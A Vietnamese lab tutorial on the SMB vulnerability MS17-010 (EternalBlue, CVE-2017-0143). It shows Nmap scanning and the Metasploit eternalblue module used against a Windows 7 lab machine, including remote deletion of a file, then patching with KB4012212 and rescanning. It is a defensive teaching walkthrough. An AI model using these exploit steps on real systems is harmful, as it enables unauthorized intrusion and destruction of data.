Lỗ hổng trên giao thức SMB (CVE-2017-0143) cách exploit và protect

[Tín Phan]

Trong bài viết CyberSecurity cơ bản (phần 1), tôi đã có đề cập về lỗ hổng bảo mật trên giao thức SMB của microsoft. Trong bài lab này chúng ta sẽ cùng tìm hiểu sơ bộ về cách dùng các công cụ như Nmap và Metasploit để scan và exploit 1 lỗ hổng trên giao thức SMB của Microsoft.

Bài lab này sẽ được chia làm 2 phần.
+ Phần I chúng ta sẽ khai thác lỗ hổng trên giao thức SMB của Microsoft.
+ Phần II chúng ta sẽ cùng vá lỗ hổng SMB trên hệ điều hành Windows của chúng ta.

I Khai thác lỗ hổng trên giao thức SMB của Microsoft:

1.Thiết lập môi trường để làm Lab:

Trong bài lab này chúng ta sẽ sử dụng Kali Linux làm Attacker và Windows 7 làm Victim.
Sơ đồ bài lab như sau:

Hình ảnh về các môi trường:

Windows 7 (victim)

Kali Linux (attacker)

Đặt ip cho các môi trường và kiểm tra ip:
Trên windows ta gõ câu lệnh sau để kiểm tra ip và ping đến kali:

Ipconfig
Ping 10.0.1.130

Trên Kali ta thực hiện các câu lệnh sau để kiểm tra và ping đến Windows 7:

[B]root@Jir0w:~#[/B] ifconfig eth0
[B]root@Jir0w:~#[/B] ping 10.0.1.134

2. Scan các port và lỗ hổng SMB trên Victim:

Trên Kali Linux để Scan các port hiện đang open của Victim ta sử dụng Nmap như sau:

[B]root@Jir0w:~#[/B] nmap -sV -sC -O 10.0.1.134

Lúc này ta thấy port 445 đang được mở và Windows 7 đang chạy giao thức SMB. Tiếp theo ta tiến hành scan lỗ hổng trên giao thức SMB port 445 qua câu lệnh sau:

[B]root@Jir0w:~#[/B] nmap –script smb-vuln* -p 445 10.0.1.134

Sau khi Scan ta thấy Windows 7 đang tồn tại lỗ hổng bao mật ms17-010, chúng ta sẽ tiến hành khai thác lỗ hổng này.
Để tìm hiểu rõ hơn về lỗ hổng này bạn có thể ghé qua các trang web sau:
https://support.microsoft.com/vi-vn/...0-is-installed
https://portal.msrc.microsoft.com/en.../CVE-2017-0143
https://cve.mitre.org/cgi-bin/cvenam...=CVE-2017-0143
https://www.cvedetails.com/cve/CVE-2017-0143/

Virus Wannacry sử dụng lỗ hổng bảo mật ms17-010 (ETERNALBLUE) trên để lây lan cho máy tính người dùng.

3. Exploit lỗ hổng ms17-010 qua công cụ Metasploit:

Để mở Metasploit ta sử dụng câu lệnh sau:

[B]root@Jir0w:~# [/B]msfconsole

Để sử dụng exploit ms17-010 ta thực hiện câu lệnh sau:

[B]msf5 >[/B] use exploit/windows/smb/ms17_010_eternalblue
[B]msf5 [/B]exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.0.1.134
[B]msf5 [/B]exploit(windows/smb/ms17_010_eternalblue) > show options

Tiếp theo để exploit vào victim ta gõ câu lệnh sau:

[B]msf5 [/B]exploit(windows/smb/ms17_010_eternalblue) > exploit

Sau khi giao diện cmd hiện ra như hình thì chúng ta đã hoàn tất exploit vào victim. Tại đây chúng ta có thể thực hiện các câu lệnh cmd được thực thi ngay trên victim.

Vd 1: Di chuyển đến thư mục Desktop

Vd 2: Xóa 1 file desktop, tại đây ta sẽ xóa file UltraViewer.lnk

Khi ta kiểm tra bên victim thì file này đã biến mất:

Vd 3: Tạo một folder và file trên victim.

Tiến hành kiểm tra:

Như vậy chúng ta đã hoàn tất Scan và Exploit 1 lỗ hổng trên dịch vụ SMB của Microsft thông qua việc sử dụng 2 công cụ là Nmap và Metasploit. Đến đây thì chúng ta đã có cái nhìn tổng thể hơn về việc tìm và khai thác 1 lỗ hổng đã được công bố.

II. Vá lỗ hổng ms17-010 (hay CVE-2017-0143) trên giao thức SMB của Microsoft.

Các bạn có thể vào trang web sau để tải bản vá về: https://docs.microsoft.com/en-us/sec.../2017/ms17-010

Cụ thể ở victim chúng ta sẽ vào trang web sau để tải: http://catalog.update.microsoft.com/...px?q=kb4012212

1. Chúng ta tiến hành tải và cài đặt bản vá:

Chúng ta tiến hành tải bản vá về.

Sau khi hoàn tất tải về chúng ta tiến hành cài đặt bản vá.

Ta nhấn yes trong msgbox bên dưới để install:

Sau khi chạy hoàn tất chúng ta tiến hành restart lại máy ảo

Sau khi khởi động lại thì windows sẽ update như sau, chúng ta sẽ chờ quá tình update hoàn tất.

Sau khi hoàn tất update chúng ta sẽ bước sang bước tiếp theo là Scan lại lỗ hổng.

2. Chúng ta tiến hành Scan lại lỗ hổng trên thông qua Attacker là Kali Linux.

Ta thực hiện lần lượt các câu lệnh sau:

[B]root@Jir0w:~# [/B]

ping 10.0.1.134 -c 4
[B]root@Jir0w:~# [/B]nmap –script smb-vuln* -p 445 10.0.1.134

Tại đây chúng ta đã thấy không thể tìm thấy lỗ hổng ms17-010 (hay CVE-2017-0143) nữa, như vậy chúng ta đã thành công trong việc vá lỗ hổng trên, ngoài cách trên chúng ta còn rất nhiều cách khác để protect cho windows hay hệ thống của chúng ta

đến đây thì bài lab đã hoàn tất, cám ơn các bạn đã đọc.

Tín Phan